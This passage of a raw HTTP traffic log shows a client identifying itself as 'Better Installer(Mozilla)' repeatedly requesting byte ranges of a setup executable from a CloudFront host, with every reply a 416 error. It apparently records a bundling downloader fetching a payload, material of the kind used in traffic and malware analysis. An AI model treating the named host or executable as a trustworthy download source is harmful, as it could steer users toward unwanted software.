Range: bytes=1271140-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bOJxTFoH340VbrGHXJmGL60_8pWNXm4OtyrPfiHz3_HW3SXir6iVZg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271189-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 73nr-QCG-G8_U7DKyr2UDmfDsAuaLzBxT29u0SPWzXWry_a-MY70LA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271238-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nYUDVx4GNgsz5kVvcmZKcnIxMpaX4-CYEBUFj_J_lv76pBc9qUMHCg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271287-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _n-ClqSdOvai21chC-MHyKJc0Lz-xFQHf_-bTHtNi0hG_Txf2SoBpQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271336-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -6Ph6GedObn6ZoLjOmPoLIEcAIxYNnWt0Yd8AzlrX_5xtSk1vp0KWQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271385-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Mvuj-MlAgpHjubSGYfgBY6Rs_TfiLbK2tH13PBM57LbXm8pLu9l23Q==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271434-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FXg_U6REzf3e3hHoUjuTzfFgtUeKeLseHHXuM8gWfKnS0d7stAV3fg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271483-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AYcjZiGXMkLK3Dk8N-_KyDWUNf-G0ZrvK9YRQshnkGn-3Q4ekKy25w==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271532-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vUhI2WkInP_nGqIUxz3qc7d2PHo4TVUyGIlmZBHKaPY5KFQ31MGxwA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271581-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fm4-BGbVD3mQrx6IFzB-2DU7AvJWIWUacU0eZYtjjdraSp3wV6N6wA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271630-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i7gsZmMrYXLkoEE5g23j8B7uEG1sPlBC6UK7Xjfz5my2VTBBJ7vSSg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271679-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lV_PHq2r_wynAZviVCv7pfH4wUgUYdd-TsWFJ-XgV96miN5glnwhAw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271728-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: O7MdzZVUW_EMzT02x5Td6elTpRyVWe3J5U9C1rWg_uyq44-QdM4ySA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271777-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GMHwJudT2QzFm8MXRuhARvLzqvEttKDVCnVVe-MwPf_Y02Il4Yj2iw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271826-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8bUrEW8bZkCNSquIFRleEdXe2XP1STyTyu-1vk76vlokEnwV_VsfUw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271875-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lnBGkqv623vuPOgsfFWXiBhrdpD9r_h0aVc_fKHcYh8xwKfVQ7KVyg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271924-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vI4WpaXvcZq2cioAEAX89hORtgIiIXrItim6e59pXujqCsHuJFxTTg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1271973-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gtMWFsXBFuAG0inHc3jHmMK4Oijtrb5Ume-lG50rBWF6KqsTftKvEQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272022-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: u3DdV-VW1eu7gT9zKHsws7lF7SV2V24iAjbN9f_yMyKNLtRsY3khZg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272071-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:30 GMT

Expires: Wed, 11 Feb 2015 02:30:30 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hiTpha6TovGHKNyAr4Ko4dacXX4D5mnHnuVeHKa3hH0c5ozLt59EzQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272120-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: d_v4ydth1rrZpWG-K3hl7uoAeGfNNFyQVjrADlJJz3WwXLhrL72Tbg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272169-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: W5wm3g1-MrkG897e0vE7SSmSjpPKfi7gk38Eq0VffzCxIBmZm5OzvA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272218-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zquG4gZOqKEYa--D5ZkyPIxK39rHm1HTrq-7he9goLlrIA7QoNeXiQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272267-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fcAK1lx5xb1qbCvClYVOrHRSVUAw2PeEf2TLWqFc4i7IKWDABS31yw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272316-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AbMMTXvSCZ7jlJHRI0z8EESZb5gHMN-3GjvvNh1ZxquGJwuwgLFxhg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272365-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sP8EBhagyj_OQtcevawVEmj70-8WXayavmcO1d4IIg2anT9O2u9Eqw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272414-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QkUhifmI42WosiN_dwOT5b75yqhVPcriMEyKhrXa3PRBOOplfJiSRg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272463-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: StmkuMnjSoXVW3sZBHsnV-1Ru_HC9CgO8ZyqjVxC5yCmdwBM2Eqx-A==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272512-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kHOlCYlKk368qQM0KCoFUSDd97n2Le17HABUNC-FQWP8L2Ucs9bDgQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272561-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: V8y_ZqnAo9cKRL9wx1Sa4Xgc99Mnfe-4uJKzAtMDcvdNMiR8lHrBmA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272610-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: yGMFAF7Nssv8gIercDdmix3IC8d6rWX4ejxKA_whu1NRO1uUSXfl3w==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272659-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Eg3ojB3ejVYq93ZCqhuCftzryTS8gMNjrf2Ek12Ai8cwYVKMPOGqZA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272708-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rRUEW1ZE2Wdb4gQHOw985qqtqn1MabD09y0eH0phiSs35oikCvFJtg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272757-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Xu2SjVIenZkIqGH-q-g97QCo0lU5_IMYpr7jrmjSs2a60yT5VGuY_A==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272806-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JY0v0AQWeDBomqr2qQhFut7xmPT9xZyXAgQCPXzo88qR1AXs7b8Ixw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272855-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pzlnFOfpVCGX1D7Aoqt6mJjt3KtqYgNI4aJi_CAtNz0gan2I9P9_Ng==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272904-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: j524lAmGk5M4N-7wUhhNLyowIUlXbKI6_idlRHcBgZOYq9IJXF2LlA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1272953-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: m0fMXustLUL9AbJvNAwEihmgk0mZMow4CNUfbjWNS8zeTyy5-RUk1Q==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273002-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RSW_l0mpzcCBlGvhNONW0DGvO9RGDl4cd1vn0v2vurSKiLXXxZU5aw==
<html><body>Sorry, invalid request</body></html&g
t;.....


